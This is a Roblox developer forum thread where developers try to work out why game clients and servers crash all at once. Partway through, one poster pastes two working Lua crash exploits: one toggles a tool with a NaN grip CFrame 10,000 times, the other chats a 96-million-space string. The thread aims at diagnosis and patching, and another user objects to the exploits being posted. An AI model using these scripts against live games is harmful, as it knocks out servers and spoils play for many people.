Exploiters can crash servers

I started to experience this in my game and also found it in The Streets nowadays which made me think it’s common.
All clients crash with pop up unexpectedly.

I found another topic saying this is chat bug so maybe it’s all about old chat bubbles? This is happened when I switch to old chat because new bubbles were glitchy.
This is causing player loss for most games and need to be fixed by roblox itself.

1 Like

Do you have any vulnerable remote events? They do get rate limited, but if the server script is poorly optimized, it will cause issues. Do you have any free models?

If the neither of the above are true, than it’s probably a ddos attack.

Only third party script I have is adonis. However as I said I experience this in another games too like “The Streets” the game randomly crashes (the streets uses old chat but doesn’t have adonis) I think it’s probably caused by old chat bubbles

Roblox itself is poorly optimized more than game. For example characters and sounds can memory leak. Roblox staff should investigate this

Are you sure its the real Adonis and not some infected model? (yes some people take real free models, infect them, and reupload them.)
If it’s the legitimate Adonis then its probably a vulnerable remote or something.

I can confirm I am having this same issue in my game, ⚓Navy Simulator - Roblox.

For me the issue started the morning of March 30th when the Roblox client was updated.

We do use Adonis in this game.

Are you using chat bubbles? Also did you try removing adonis?

We use a custom chat script, so no old chat bubbles. I haven’t tried removing Adonis but I’ll do that now.

Unless DDoS attacks evolved to crash every single Roblox client, producing the little An error has occured and Roblox needs to quit popup, I can confirm it’s not a DDoS attack.

Players always report their client crashes, and players in the same server always crash at the same time as each other.

DDoS is made to server. The last scenario by this would be clients losing connection because server can’t handle and can’t respond to requests however crash is not possible.

How long does it take to crash? Have you checked the dev console for any errors?

After removing Adonis, the issue is still occurring. I can now confirm this is not a result of an Adonis vulnerability.

2 Likes

It most likely has nothing to do with common roblox instances, but more of how your game works itself.

Could you provide a explanation of how the game works? or a screenshot, video, etc?

I know it’s not a issue with roblox instances, because it would’ve been picked up by a lot of developers, and would be pointed out already.

It’s your game because there must be something in it that causes these crashes.

Accidentally posted this on a different comment.

Hello @VladimrLenin

Im Getting the same problem, however I found the cause of the problem.

There are 2 exploits that right now work to freeze the game,

  • An exploit that uses certain inventory tools (I Patch it)
  • An Exploit that is obfuscated and I’m still working on figuring out how it crashes the server

I think roblox should do something, because from what I understand it happens in so many games
I hope I was helpful

2 Likes

Was the tool exploit specific to your game, and how did it work?

I found this script, I’m not smart enough to know how it works, but feel free to find out. It advertised itself as working in 90% of all servers.

local LP = game:GetService('Players').LocalPlayer
local LC = LP.Character
local LB = LP.Backpack
local Hum = LC:FindFirstChildOfClass('Humanoid')
local Tool = nil

if not Hum then
    return
end

Hum:UnequipTools()

for _, v in next, LB:GetChildren() do
    if v:IsA('Tool') and v:FindFirstChild('Handle') then
        Tool = v
        break
    end
end

if not Tool then
    return
end

Tool.Parent = LB
Tool.Grip = CFrame.new(0/0, 0/0, 0/0)
for i = 1, 10000 do
    Tool.Parent = LC
    Tool.Parent = LB
end

I also found another script which uses chat (?) to crash the server.

local v =96000000 --Maximal bit stream on client
-- (96000000 - 12) -- Maximal bit stream that server accept +-2
local msg = ""..string.rep(" ",(v - 12))
game.Players:Chat(msg)
5 Likes

The script somehow modifies the tool, i have create an anti cheat that as soon as the tools is “modified” the user is getting kiccked by it.

@PolicePocholo Please Avoid posting potentially destructive exploits for any game here publicly, I have already flagged your post so that we have it removed, exploits would only find it more easily

1 Like

That script was what I’m talking about. I didn’t have time to test it but people claim exploiters can crash all clients by spamming this chat script.

These scripts can be find by people easily it’s not a big deal. It may also help developers to fix it.

I saw someone claiming to be able to crash any server by spamming some chat function. Cant confirm its the same as the one that was shared.

1 Like